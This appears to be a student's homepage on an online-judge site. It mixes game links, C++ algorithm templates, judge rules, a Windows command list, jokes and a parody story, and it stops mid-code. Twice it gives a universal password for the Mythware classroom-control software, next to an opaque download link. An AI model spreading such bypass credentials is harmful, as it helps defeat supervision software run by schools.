摸鱼人的小仓库 http://www.staggeringbeauty.com/ 大虫子 https://www.ak-ioi.com/apps/oi-2048/ 华容道 chrome://dino/ 小恐龙 https://littlealchemy2.com/ 小小炼金师 https://2048game.com/ 数字组 https://dimit.me/Fe26/index_zh_CN.html 死铁 http://www.4399.com/ 4399 https://www.mazegenerator.net/ 迷宫 https://lewan.baidu.com/rankland?idfrom=5056&gameSource=mini&gameType=0 百度游戏 [https://deepmess.com/namerena/]名字竞技场 ev.io 枪战游戏https://www.crazygames.com/game/air-wars-2 飞机 https://www.crazygames.com/game/kirka-io 枪战 https://www.crazygames.com/game/ev-io 枪战 CrazyGames - Free Online Games on CrazyGames.com
冲刺800道AC
你是第 个来访问我主页的人
工具箱
Red Alert 2Red Alert 2 红色警戒22 | 万宁象棋大招版 | feartressfeartress 恐惧之森 | Kittens GameKittens Game 猫国建设者 | Cividlization 2Cividlization 2 文明放置22 | FG FactoryFG Factory 异星工厂 | Ng Galaxies NGNg Galaxies NG星系 | EvolveEvolve 进化 | A Dark RoomA Dark Room 生火间 | HattrickHattrick 足球经理 | 名字竞技场 | Oier’s 2048Oier’s 2048 | slay.oneslay.one | 人生重开模拟器 | C++C++ 控制台小游戏
极域通用密码:
mythware_super_password
《"传送门"》 流浪地球计划 wetab新标签页 小破站 百度 oj 洛谷 qq邮箱 快手 NOIP题库
oj每日"遗言"
--孤独的人不会伤害别人,只会不断地伤害自己罢了。 --“I'a I'a.Cthulhu Fhatgn!” --吾心吾行澄如明镜,所作所为皆为正义。 --我只是不想再失去他——哪怕是仅存在一瞬的幻影! --难受就是难受…不要让开心变成一种负担… --生活的洪流欲让人们窒息,我们却在缺氧的环境中肆意成长。 --我们总是在注意错过太多,却不注意自己拥有多少。 --绘守御之明信兮,书香随之丰年。
好朋友:
罗斤天(此账号为大号用户名)UID:1476 排名:360 个人简介有很多好东西!!!
留言板(罗斤天记得多在留言板聊天哦!!!)
二分查找模板
#include<iostream> #include<cstdio> using namespace std; int a[100001],x; int main(){ int n,m; cin>>n>>m; for(int i=1;i<=n;++i){ cin>>a[i]; } for(int i=1;i<=m;++i){ cin>>x; int left=1,right=n,mid=(left+right)/2; int flag=0; while(left<=right){ if(a[mid]==x){ flag=1; cout<<mid<<endl; break; } else if(a[mid]<x){ left=mid+1; } else right=mid-1; mid=(left+right)/2; } if(flag==0)cout<<-1<<endl; } return 0; }
字符串
基本定义 string 字符串名; 初始化 string 字符串名 = "赋值内容"; 基本输入 1、不带空格输入 cin >> 字符串名; 2、带空格输入 getline(cin,字符串名); 基本输出 cout << 字符串 ; 基本函数 1、+ += > < == != >= <= 2、求string的长度 字符串名.size(); 删除子串 string s1 = "Real Steel"; s1.erase(1, 3); //删除从位置1开始后面的3个字符,此后 s1 = "R Steel" 插入子串 string s1 = "Limitless", s2="00"; s1.insert(2, "123"); //在下标 2 处插入字符串"123",s1 = "Li123mitless" 查找子串 string s1 = "apple people"; s1.find("ple"); //查找 "ple" 出现的位置 返回值为子串第一次出现的下标返回值为2 s1.find("ple",5); //从下标为5的地方查找"ple"的位置,返回值为9 s1.find("orange"); //查找"orange"的位置,没有查找到,所以返回-1 遍历字符串 string str; cin >> str; int len = str.size(); for(int i=0;i<len;i++) { printf("%c",str[i]); } 特别注意 字符串的整体输入输出不能使用scanf()和printf()
队列
1、队列的定义 queue<关键词> 队名; 2、队列的基本操作 队名.操作函数名() 队名.push(入队元素) //入队 队名.pop() //出队 队名.front() //返回值为队头 队名.back() //返回队尾 队名.size() //返回值为队中元素个数 队名.empty() //队空返回 true 不空返回false !队名.empty() //队空返回 false 不空返回 true #include<iostream> #include<cstdio> #include<queue> using namespace std; int main() { // queue<类型> 队列名; queue<int> que; //创建队列 que.push(1);//将1入队 que.push(3);//将3入队 que.push(2);//将2入队 cout << "查看队头" << que.front() << endl; cout << "查看队尾" << que.back() << endl; que.pop();//出队 cout << "查看队列元素个数" << que.size() << endl; //遍历队列 while( !que.empty() ) // que.empty() 队列为空 { cout << que.front() <<endl; que.pop(); } return 0; }
栈与队列操作
//stack<int> sta;//创建一个栈 //sta.push(a);//入栈 //int a=sta.top();//返回栈顶元素 //sta.pop();//出栈 //sta.empty();//判断栈是否为空 1为空,0为非空 //sta.clear();//清空 //queue<int> que;//创建一个队列 //que.push(a);//入队 //int a=que.front();//返回队头元素 //que.pop();//出队 //que.empty();//判断队列是否为空 1为空,0为非空 //que.clear();//清空
二分查找模板
int erfen(int c[],int b,int g){ int tou=0,wei=b-1; while(tou<=wei){ int mid=(tou+wei)/2; if(c[mid]>=g){ wei=mid-1; }else if(c[mid]<g){ tou=mid+1; } } if(c[tou]==g){ return tou+1; } return -1; }
快速排序模板
#include <bits/stdc++.h> using namespace std; /* 对n个数进行排序 */ const int N=1e5+5; int a[N];//原数组 int n; void fast_sort(int left,int right){ //基本情况,递归边界 if(left>=right){ return; } //交换枢纽元,一般选中间值 int mid=(left+right)/2; //交换枢纽元和最右边的值 swap(a[mid],a[right]); int i=left,j=right-1; while(i<=j){//区间没有交错,还有元素处理 //i往右移动,直到找到比枢纽元大的数 while(a[i]<a[right]){ i++; } //j往左移动,直到找到比枢纽元小的数 while(a[j]>a[right]){ j--; } if(i<=j){ swap(a[i],a[j]); i++; j--; } } //交换枢纽元和i交换 swap(a[right],a[i]); //对左右区间进一步划分 fast_sort(left,i-1);//左 fast_sort(i+1,right);//右 } int main(){ //先输入一个n,再输入n个数 cin>>n; for(int i=1;i<=n;i++){ cin>>a[i]; } fast_sort(1,n); for(int i=1;i<=n;i++){ cout<<a[i]<<" "; } return 0; }
平常的编译情况:
*1. Waiting 评测:评测请求正在等待被评测机抓取
*2. Fetched 评测:评测请求已被评测机抓取,正在准备开始评测
*3. Compiling 评测:正在编译中
*4.Judging 评测:编译成功,正在评测中
*5.Accepted 通过:程序输出完全正确
*6. Wrong Answer 不通过:程序输出与标准答案不一致(不包括行末空格以及文件末空行)
*7. Time Limit Exceeded 不通过:程序运行时间超过了题目限制
*8. Memory Limit Exceeded 不通过:程序运行内存空间超过了题目限制
*9. Runtime Error 不通过:程序运行时错误(如数组越界、被零除、运算溢出、栈溢出、无效指针等)
*10. Compile Error 不通过:编译失败
*11. System Error 错误:系统错误(如果您遇到此问题,请及时在讨论区进行反馈)
*12. Canceled 其他:评测被取消
*13. Unknown Error 其他:未知错误
*14. Ignored 其他:被忽略
对 C/C++ 选手的特别提醒:
__int64 在 GNU C++ 中应写成 long long 类型
main() 返回值必须定义为 int ,而不是 void
for 语句中的指标变量 i 将会在如"for (int i = 0...) {...}"语句之后变为无效
itoa 不是一个通用 ANSI 函数(标准 C/C++ 中无此函数)
printf 中使用 %lf 格式是不正确的
限制
XMW OJ 评测机使用进程的CPU时间计算时间消耗,时间的限定为题目中评测点所指定的时间。
XMW OJ 评测机使用进程虚拟内存与物理内存总和计算内存空间消耗。内存空间默认限定为256MiB,题目中特别指明的,限定为题目中评测点所指定的内存空间。
编译错误
可能有以下情况:
递交时选错了编程语言
Java 的主类名没有使用 "Main"
对于 C/C++:见上对 C/C++ 选手的特别提醒:
一般性的编译错误
比赛
按照赛制不同,有不同的递交、排名规则。
OI 赛制所有题目均以最后一次递交为准,特别地,请避免编译错误。
OI 赛制排名规则为:总分高的排在前面,总分相等则排名相同。
ACM/ICPC 赛制所有题目递交后立即评测,以是否通过为准。
ACM/ICPC 赛制排名规则为:通过题目数多的排在前面,通过题目数相同的做题耗时(含罚时)少的排在前。
乐多 赛制下,选手可以多次提交一道题目,并获得实时评测结果。
乐多 赛制下,多次提交会导致选手的得分被扣除,排行榜将显示用户的最高得分。
乐多 赛制下,每道题的最终得分为: s×max(0.95^n,0.7)s×max(0.95n,0.7) 。s,n 分别代表本次得分和本次提交前的尝试次数。
乐多 排名规则为:按照如上规则折算后的分数从高到低排名。
IOI(严格) 赛制下,不同于IOI赛制,排行榜将被关闭至比赛结束。
IOI(严格) 赛制下,每道题的排行榜得分将为用户每个子任务在所有提交中的最大得分的和。
时间与空间限制以题目说明为准,默认限制参见 限制 通过率
通过率的影响极其恶劣,XMW OJ 不提供也不承认通过率。
RP 算法
RP 可由题目,活动,比赛等获得。 三、Windows CMD命令大全
- gpedit.msc-----组策略
- sndrec32-------录音机
- Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。
- explorer-------打开资源管理器
- logoff---------注销命令
- shutdown-------60秒倒计时关机命令
- lusrmgr.msc----本机用户和组
- services.msc---本地服务设置
- oobe/msoobe /a----检查XP是否激活
- notepad--------打开记事本
- cleanmgr-------垃圾整理
- net start messenger----开始信使服务
- compmgmt.msc---计算机管理
- net stop messenger-----停止信使服务
- conf-----------启动netmeeting
- dvdplay--------DVD播放器
- charmap--------启动字符映射表
- diskmgmt.msc---磁盘管理实用程序
- calc-----------启动计算器
- dfrg.msc-------磁盘碎片整理程序
- chkdsk.exe-----Chkdsk磁盘检查
- devmgmt.msc--- 设备管理器
- regsvr32 /u *.dll----停止dll文件运行
- drwtsn32------ 系统医生
- rononce -p----15秒关机
- dxdiag---------检查DirectX信息
- regedt32-------注册表编辑器
- Msconfig.exe---系统配置实用程序
- rsop.msc-------组策略结果集
- mem.exe--------显示内存使用情况
- regedit.exe----注册表
- winchat--------XP自带局域网聊天
- progman--------程序管理器
- winmsd---------系统信息
- perfmon.msc----计算机性能监测程序
- winver---------检查Windows版本
- sfc /scannow-----扫描错误并复原
- taskmgr-----任务管理器(2000/xp/2003
- wmimgmt.msc----打开windows管理体系结构(WMI)
- wupdmgr--------windows更新程序
- wscript--------windows脚本宿主设置
- write----------写字板
- wiaacmgr-------扫描仪和照相机向导
- winchat--------XP自带局域网聊天
- mplayer2-------简易widnows media player
- mspaint--------画图板
- mstsc----------远程桌面连接
- magnify--------放大镜实用程序
- mmc------------打开控制台
- mobsync--------同步命令
- iexpress-------木马捆绑工具,系统自带
- fsmgmt.msc-----共享文件夹管理器
- utilman--------辅助工具管理器
- dcomcnfg-------打开系统组件服务
- ddeshare-------打开DDE共享设置
- osk------------打开屏幕键盘
- odbcad32-------ODBC数据源管理器
- oobe/msoobe /a----检查XP是否激活
- ntbackup-------系统备份和还原
- narrator-------屏幕“讲述人”
- ntmsmgr.msc----移动存储管理器
- ntmsoprq.msc---移动存储管理员操作请求
- netstat -an----(TC)命令检查接口
- syncapp--------创建一个公文包
- sysedit--------系统配置编辑器
- sigverif-------文件签名验证程序
- ciadv.msc------索引服务程序
- shrpubw--------创建共享文件夹
- secpol.msc-----本地安全策略
- syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
- services.msc---本地服务设置
- Sndvol32-------音量控制程序
- sfc.exe--------系统文件检查器
- sfc /scannow---windows文件保护
- ciadv.msc------索引服务程序
- tourstart------xp简介(安装完成后出现的漫游xp程序)
- taskmgr--------任务管理器
- eventvwr-------事件查看器
- eudcedit-------造字程序
- compmgmt.msc---计算机管理
- packager-------对象包装程序
- perfmon.msc----计算机性能监测程序
- charmap--------启动字符映射表
- cliconfg-------SQL SERVER 客户端网络实用程序
- Clipbrd--------剪贴板查看器
- conf-----------启动netmeeting
- certmgr.msc----证书管理实用程序
- regsvr32 /u *.dll----停止dll文件运行
- regsvr32 /u zipfldr.dll------取消ZIP支持
- cmd.exe--------CMD命令提示符哪里有什么胭脂想象,不过是虚晃一梦罢了,梦醒了,什么都没有了
《写代码的小女孩》
天冷极了,下着雪,又快黑了。 这是NOIP的前夜。在这又冷又黑的晚上,一个衣衫破烂的小女孩在机房敲着代码。 她从班里逃出来的时候还拿着一本算导,但是有什么用呢? 那是一本很破旧的书——那么大,一向是她妈妈垫桌角的。 她默写SPFA的时候,年级主任突然冲进机房,吓得她把算导都丢掉了。 书叫一个学数竞捡起来拿着跑了。 他说,他可以用那本书当草纸,证明切比雪夫定理。 小女孩只好自己写二叉堆,一双小脚冻得红一块青一块的。 她面前的草纸堆得满满的,上面全是DP转移方程。 这一整天,没有一个OJ让她AC一道题,她已经交了32遍采药了。可怜的小女孩! 她又冷又饿,浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上,那干枯的头发打成卷儿披在肩上,看上去就像二叉树,不过她没注意这些。 每个显示器里都透出光来,机房里飘着一股CPU发糊的怪味,因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来,蜷着趴在键盘上。 她觉得更冷了。她不敢回家,因为她还没调完二叉堆,没写对一个DP方程,教练一定会骂她的。再说,换成别的数据结构,一样写不出来。 这些题都太水,虽然神犇都写过题解了,但是题解上一般都只有三个字:傻X题。她几乎绝望了。 啊,哪怕一个函数不会RE,对她也是有好处的!她每写一遍程序,跑出来的结果就不一样,要是她有数据,她就知道哪一个程序是算对了的。 她得不到数据了,因为机房上不去网了,全校的网速都让隔壁的年级主任拿来下小电影了。 如果能保证下一个程序能AC,她就敢再写几十KB的代码,但是她是不敢啊,她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。 编译通过了,样例过了。这次,她感觉自己站在IOI的考场中AK。学校的大门上,贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。 在班级内的非诚勿扰中,全班男生都给她留了灯。这时候,程序又RE了,她面前只有cmd上的黑底白字。她又写了一道模拟。 这一回,她坐在美丽的二叉堆下。这棵二叉堆,比她在丽洁代码中看到的常数还要小,还要短。 眼前是许多优美动人的ASCII码,那些都是她写的程序,各种可爱的指针在跳跃着,满世界都是系统栈,都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。 这时候,眼前的ASCII码还在,条幅还在,指针还在,年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高,最后成了在天空中闪烁的星星。 有一颗星星落下来了,在天空中划出了一道细长的红光。“有一个什么人快要死了。” 小女孩说。 唯一疼她的学姐保送之前告诉过她:一颗星星落下来,就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回,她把能用的IDE都用了。 学姐出现在亮光里,是那么温和,那么快乐。“学姐!” 小女孩叫起来,“啊!请把我带走吧!我知道,系统栈一溢出,您就会不见的,像那校门的条幅,浮点数的精度,循环队列的空间一个样,就会不见的!” 她赶紧编译了5KB的高精度模板,要把学姐留住。一大把程序发出强烈的光,把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔,这样美丽。 她把小女孩抱起来,搂在怀里。她们俩在光明和快乐中飞走了,越飞越高,飞到那没有DP,没有图论,也没有数据结构的地方去了。 第二天清晨,这个小女孩坐在机房里,两腮通红,嘴上带着微笑。她死了,在NOIP的前夜死了。NOIP Day1的太阳升起来了,照在她小小的尸体上。 小女孩坐在那儿,显示器上还有一堆编译过的代码。“她想好好复习复赛。” 人们说。 谁也不知道她曾经看到过多么美丽的东西,她曾经多么幸福,跟着她学姐一起走向新世界的幸福中去。
一位洗碗的大姐,经常被别人叫阿姨,她嫌弃阿姨不好听,就给自己取了一个特别牛的名字:瓷洗太后。 隔壁补胎的师傅受到启发,给自己取了一个国际范的名字:拿破轮。 电焊工听到,受到启发,也给自己取了一个名字:焊武帝。 一日电焊工去糖果店炫耀自己的名字,老板啦叫他看他的名字:糖太宗。 电焊工看了沉默了。这时一辆粪车路过,发写这三个大字:擒屎皇。 路边捆菜的阿姨行不下去了,叫到你们的名字算什么? 看看我的名字,众人一看这名字取得不一般,大喊到捆菜阿姨的名字:菜需捆!!! 从此,镇上工作的人,再也没有互相比过名字。
极域网通用密码:mythware_super_password chrome://dino 打开小恐龙 https://corezwb.lanzouq.com/iAFNA01ud3qj 密码gs83
摸鱼人的小仓库 http://www.staggeringbeauty.com/ 大虫子 https://www.ak-ioi.com/apps/oi-2048/ 华容道 chrome://dino/ 小恐龙 https://littlealchemy2.com/ 小小炼金师 https://2048game.com/ 数字组 https://dimit.me/Fe26/index_zh_CN.html 死铁 http://www.4399.com/ 4399 https://www.mazegenerator.net/ 迷宫 https://lewan.baidu.com/rankland?idfrom=5056&gameSource=mini&gameType=0 百度游戏 [https://deepmess.com/namerena/]名字竞技场 ev.io 枪战游戏https://www.crazygames.com/game/air-wars-2 飞机 https://www.crazygames.com/game/kirka-io 枪战 https://www.crazygames.com/game/ev-io 枪战 CrazyGames - Free Online Games on CrazyGames.com https://student-vip.xiaomawang.com/ forr.io电子木鱼:https://zeus10241024.gitee.io/dzmy/ 冲浪:edge://surf 有型的东西终究会消逝,不过……终于,这份回忆还是永远不朽的… 坤坤跳跳乐 http://jlh.125ks.cn/cxk/dinogame/
坤坤邀你打视频 http://jlh.125ks.cn/cxk/spth/
坤坤邀你打电话 http://jlh.125ks.cn/cxk/ddh/
爆踩菜虚鲲 http://jlh.125ks.cn/cxk/bccxk/
坤坤打篮球 http://jlh.125ks.cn/cxk/dlq/
坤坤打飞机 http://jlh.125ks.cn/cxk/ https://gimg2.baidu.com/image_search/src=http%3A%2F%2Fpic2.zhimg.com%2Fv2-2ee6c3530ee59861e683cae436fa27c5_b.jpg&refer=http%3A%2F%2Fpic2.zhimg.com&app=2002&size=f9999,10000&q=a80&n=0&g=0n&fmt=jpeg?sec=1644995765&t=53642b293da86d935fb320cd1fb4bb56
电脑个性化:https://zhutix.com/ 上网址自己下。
猫咪桌宠:http://www.ddooo.com/softdown/190036.htm 上网址自己下。 https://lemonjing.com/rich#首富模拟器 https://poki.cn/ 免费在线游戏
《写代码的小女孩》
天冷极了,下着雪,又快黑了。 这是NOIP的前夜。在这又冷又黑的晚上,一个衣衫破烂的小女孩在机房敲着代码。 她从班里逃出来的时候还拿着一本算导,但是有什么用呢? 那是一本很破旧的书——那么大,一向是她妈妈垫桌角的。 她默写SPFA的时候,年级主任突然冲进机房,吓得她把算导都丢掉了。 书叫一个学数竞捡起来拿着跑了。 他说,他可以用那本书当草纸,证明切比雪夫定理。 小女孩只好自己写二叉堆,一双小脚冻得红一块青一块的。 她面前的草纸堆得满满的,上面全是DP转移方程。 这一整天,没有一个OJ让她AC一道题,她已经交了32遍采药了。可怜的小女孩! 她又冷又饿,浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上,那干枯的头发打成卷儿披在肩上,看上去就像二叉树,不过她没注意这些。 每个显示器里都透出光来,机房里飘着一股CPU发糊的怪味,因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来,蜷着趴在键盘上。 她觉得更冷了。她不敢回家,因为她还没调完二叉堆,没写对一个DP方程,教练一定会骂她的。再说,换成别的数据结构,一样写不出来。 这些题都太水,虽然神犇都写过题解了,但是题解上一般都只有三个字:傻X题。她几乎绝望了。 啊,哪怕一个函数不会RE,对她也是有好处的!她每写一遍程序,跑出来的结果就不一样,要是她有数据,她就知道哪一个程序是算对了的。 她得不到数据了,因为机房上不去网了,全校的网速都让隔壁的年级主任拿来下小电影了。 如果能保证下一个程序能AC,她就敢再写几十KB的代码,但是她是不敢啊,她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。 编译通过了,样例过了。这次,她感觉自己站在IOI的考场中AK。学校的大门上,贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。 在班级内的非诚勿扰中,全班男生都给她留了灯。这时候,程序又RE了,她面前只有cmd上的黑底白字。她又写了一道模拟。 这一回,她坐在美丽的二叉堆下。这棵二叉堆,比她在丽洁代码中看到的常数还要小,还要短。 眼前是许多优美动人的ASCII码,那些都是她写的程序,各种可爱的指针在跳跃着,满世界都是系统栈,都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。 这时候,眼前的ASCII码还在,条幅还在,指针还在,年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高,最后成了在天空中闪烁的星星。 有一颗星星落下来了,在天空中划出了一道细长的红光。“有一个什么人快要死了。” 小女孩说。 唯一疼她的学姐保送之前告诉过她:一颗星星落下来,就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回,她把能用的IDE都用了。 学姐出现在亮光里,是那么温和,那么快乐。“学姐!” 小女孩叫起来,“啊!请把我带走吧!我知道,系统栈一溢出,您就会不见的,像那校门的条幅,浮点数的精度,循环队列的空间一个样,就会不见的!” 她赶紧编译了5KB的高精度模板,要把学姐留住。一大把程序发出强烈的光,把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔,这样美丽。 她把小女孩抱起来,搂在怀里。她们俩在光明和快乐中飞走了,越飞越高,飞到那没有DP,没有图论,也没有数据结构的地方去了。 第二天清晨,这个小女孩坐在机房里,两腮通红,嘴上带着微笑。她死了,在NOIP的前夜死了。NOIP Day1的太阳升起来了,照在她小小的尸体上。 小女孩坐在那儿,显示器上还有一堆编译过的代码。“她想好好复习复赛。” 人们说。 谁也不知道她曾经看到过多么美丽的东西,她曾经多么幸福,跟着她学姐一起走向新世界的幸福中去。
下面有东西(一定要看)
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
\ | /
\ | /
\ /
文学区 1、人被杀,就会死 2、当你左脸被打,你的右脸就不会痛 3、据研究每呼吸60秒,就减少1分钟寿命 4、中国人在睡觉时,大多数美国人在工作 5、凡是每天憋尿过多的人,有高几率100年内死去 6、谁能想到,一名16岁少女,4年前只是一-位12岁少女 7、 当蝴蝶在南半球拍了两下翅膀,它就会稍微飞高一些 8、如果你每天省下来一包烟钱,10天后你就能买10包烟 9、当你吃下了20碗米饭,换算下来竟然相当于摄入了20碗米饭的热量 10、中国教英语方式有极大错误,在美国就连小学生都能说一口流利的英语
C++快读
#include<bits/stdc++.h> #define ll long long using namespace std; inline int read() { int x = 0, f = 1; char c = getchar(); while (c < '0' || c > '9') { if (c == '-') f = -1; c = getchar(); } while (c >= '0' && c <= '9') { x = (x << 3) + (x << 1) + c - 48, c = getchar(); } return x * f; } int main() { return 0; }
freopen("test.txt","w",stdout)——将控制台控制(输出)改为文件控制(输出),用于oj上某些题要求,且此代码必须写于int main(){}大括号之中`
freopen("A.in","r",stdin)(输入) freopen("A.out","w",stdout)(输出),规则如上
0~n个一的求法:(1<<n)-1
从小到大 数组 排序:
一. sort——sort(列表名称,列表名称+列表元素数量)
二. bool——bool cmp(int x,int y) { //return x<y; 从小到大排序 //return x>y; 从大到小排序 }
三.
1、栈列的定义 stack<关键词> 栈名;
2、栈列的基本操作 栈名.操作函数名() 栈名.push(入栈元素) //入栈 栈名.pop() //出栈 栈名.stack() //返回值为栈头 栈名.size() //返回值为栈中元素个数 栈名.empty() //栈空返回 true 不空返回false 栈名.empty() //栈空返回 true 不空返回false
要执行出栈和查看栈顶操作时--
栈必须非空
//基础栈代码 #include<bits/stdc++.h> using namespace std; int main() { //创建一个栈 // stack<类型> 栈名1; stack stk; stk.push(1); stk.push(3); stk.push(2); stk.pop();//这个不能输出 cout << "栈顶" << stk.top() << endl; cout << "栈中元素个数" << stk.size() << endl; cout << "栈是否为空,空是true,不空是false" << stk.empty() << endl; //连续输入多个元素 int n; cin >> n; for(int i=1;i<=n;i++) { int x; cin >>x; stk.push(x); } //遍历栈中元素 while( !stk.empty() ) { cout << stk.top() << " "; stk.pop(); } return 0; }
queue<关键词> 队名; 2、队列的基本操作 队名.操作函数名() 队名.push(入栈元素) //入队 队名.pop() //出队 队名.front() //返回值为队头 队名.back() //返回队尾 队名.size() //返回值为队中元素个数 队名.empty() //栈空返回 true 不空返回false !队名.empty() //栈空返回 true 不空返回false
**min(a,b);//返回a,b的较小值 max(a,b);//返回a,b的较大值 abs(x);//返回x的绝对值 pow(a,b);//返回a的b次方 sqrt(a);//返回更号a**
按位与& (同1则1,一0则0)
例如
3&5 0011 & 0101 ----------- 0001 3&5 = 1
按位或| (同0则0,一1则1)
例如
3|5 0011 | 0101 ----------- 0111 3|5 = 7
按位取反~ (01互换)
例如1
~3(8位二进制数) ~ 0000 0011 ---------------- 1111 1100 ~3=-4
按位异或^ (不同为1,相同为0)
例如
3^5 0011 ^ 0101 ----------- 0110 3^5 = 6
位运算符
左移运算:
<<
用法:
x<<y
作用:将表示 x 的二进制数的每一位左移 y 位,移出去的数就丢掉,空余地方用 0 补位。
例如:一个二进制数 10101011 将其左移 3 位,得到 01011000。
右移运算:
>>
用法:
x>>y
作用:将表示 x 的二进制数的每一位右移 y 位,移出去的数就丢掉,空余地方用 0 补位。
例如:一个二进制数 10101011 将其右移 3 位,得到 00010101。
按位与运算:
&
用法:
x&y
作用:按位进行与运算。
例如:1101 和 0011 进行与运算就为:0001。
按位或运算:
|
用法:
x|y
作用:按位进行或运算。
例如:1101 和 0011 进行或运算就为:1111。
按位异或运算:
^
用法:
x^y
作用:按位进行异或运算。
例如:1101 和 0011 进行异或运算就为:0001。
按位非运算:
~
用法:
~x
作用:按位进行非运算。
例如:1101进行非运算就为:0010。
状态压缩常用位运算符技巧
1.取出x的第k位:
y = x&(1<<(k-1));//i<<(k-1)能够做成一个第k为1,其余位为0,如:10000 的二进制数,再结合位与运算就能提取到变量x的二进制中第k位数为1还是0了,常用于判断
2.将x第k位取反:
x ^= (1<<(k-1));//通过左移制作一个10000般的二进制数,然后结合异或运算的特点,将变量x的二进制中第k位数取反
3.将x第k位变为1:
x |= (1<<(k-1));//通过左移制作一个10000般的二进制数,然后结合异或运算的特点,将变量x的二进制中第k位数修改为1
4.将x第k位变为0:
x &= (~(1<<(k-1))); //通过左移制作一个0001 0000般的二进制数,然后位非运算将其修改为1110 0000般的二进制数,最后结合位与运算的特点,将变量x的二进制中第k位数修改为0
5.将x最靠右的1去掉:
x = x&(x-1); //减去1会将数字二进制中末尾的1去掉,然后需要借位的地方全变为1,如原1010 0000,减去1后变成1001 1111,再进位与运算得1000 0000,相当于去掉末尾1
6.取出x最靠右的1:
y = x&(-x); //结合负数的二进制的特点,如数字20的二进制为0001 0100,-20的二进制为1110 1100,再进行位与运算能够获取到二进制数100也就是4,及提前数字x中包含的最大2的指数值
7.判断是否有两个连续的一:
if(x&(x<<1)) cout<<"YES"; //左移后的数字会进行偏移,如13的二进制0000 1101,左移后未0001 1010,再进行位与运算,连续的1会在偏移后有至少一个1重叠,让结果不为0,如果结果为0,说明不存在连续的1;
memset(数组名,0,sizeof 数组名);//只能置为0或者-1
C++二分查找(示例代码)
#include<bits/stdc++.h> using namespace std; int arr[200005]; int main(){ int n,m; cin>>n>>m; for(int i=1;i<=n;i++){ cin>>arr[i]; } sort(arr,arr+1+n); for(int i=1;i<=m;i++){ int t; cin>>t; int ans; int left=1,right=n; while(left<=right){ int mid = (left+right)/2; if(arr[mid]>=t){ ans = mid; right = mid-1; } if(arr[mid]<t) left = mid+1; } if(arr[ans]==t) cout<<"有这个数"; else cout<<"没有这个数"; } return 0; }
递归排序(利用树生成,树,图论等)
//n个球摸m次可放回 #include<iostream> #include<cstdio> using namespace std; int q[105];//q[x] = y 表示第x次摸到的是y号球 int n,m;//n个球摸m次 void dfs(int k)//表示第k次摸球 n个球摸m次 { if(k>m)//摸第m+1次结束 { for(int i=1;i<=m;i++)cout << q[i] << " "; cout << endl; return ; } for(int i=1;i<=n;i++)//一共有1~n个球 { q[k] = i;//第k次摸了i号球 dfs(k+1);//第k+1次摸球 } } int main() { cin >> n >> m; dfs(1); return 0; }
//n个球摸m次不放回 #include<iostream> #include<cstdio> using namespace std; int q[105]; int vis[105];//vis[1]=1 int n,m; void dfs(int k)//表示第k次摸球 n个球摸m次 { if(k>m) { for(int i=1;i<=m;i++)cout << q[i] << " "; cout << endl; return ; } for(int i=1;i<=n;i++) { if( vis[i] ) continue; q[k] = i; vis[i] = 1; dfs(k+1); vis[i] = 0;//回溯 } } int main() { cin >> n >> m; dfs(1); return 0; }
//n个球摸m个的情况 #include<iostream> #include<cstdio> using namespace std; int q[105]; int vis[105];//vis[1]=1 int n,m; void dfs(int k,int pre)//表示第k次摸球 n个球摸m次 { if(k>m) { for(int i=1;i<=m;i++)cout << q[i] << " "; cout << endl; return ; } for(int i=pre+1;i<=n;i++) { if( vis[i] ) continue; q[k] = i; vis[i] = 1; dfs(k+1,i); vis[i] = 0;//回溯 } } int main() { cin >> n >> m; dfs(1,0); return 0; }
C++ 广搜
//示例代码 #include using namespace std; int n,m;//n行,m列 char mat[505][505];//地图 int step[505][505];//step[x][y] 表示起点到第x行第y列的最少步数 bool vis[505][505];//vis[x][y]=1 表示第x行第y列走过了 void bfs(int sx,int sy) { // memset( 数组名 , 0 , sizeof 数组名);//只能置为0或者-1 memset( step , 0 , sizeof step); memset( vis , 0 , sizeof vis); queue quex; queue quey; quex.push(sx); quey.push(sy); step[sx][sy] = 0; vis[sx][sy] = 1; while( !quex.empty() ) { int nowx = quex.front(); quex.pop(); int nowy = quey.front(); quey.pop(); //守株待兔 if(mat[nowx][nowy]=='T') { cout << step[nowx][nowy]+1 ; return ; } for(int i=0;i<4;i++) { int dx[]={0,0,-1,1}; int dy[]={1,-1,0,0}; int tx = nowx + dx[i]; int ty = nowy + dy[i]; if(tx<1||tx>n||ty<1||ty>m) continue;//不能越界 if(vis[tx][ty]) continue;//不能重复 if(mat[tx][ty]=='X') continue;//不能穿墙 step[tx][ty] = step[nowx][nowy] + 1; vis[tx][ty] = 1; quex.push(tx); quey.push(ty); } } cout << -1; } int main() { cin >> n >> m; int sx,sy; for(int i=1;i<=n;i++) { for(int j=1;j<=m;j++) { cin >> mat[i][j]; if(mat[i][j]=='S') { 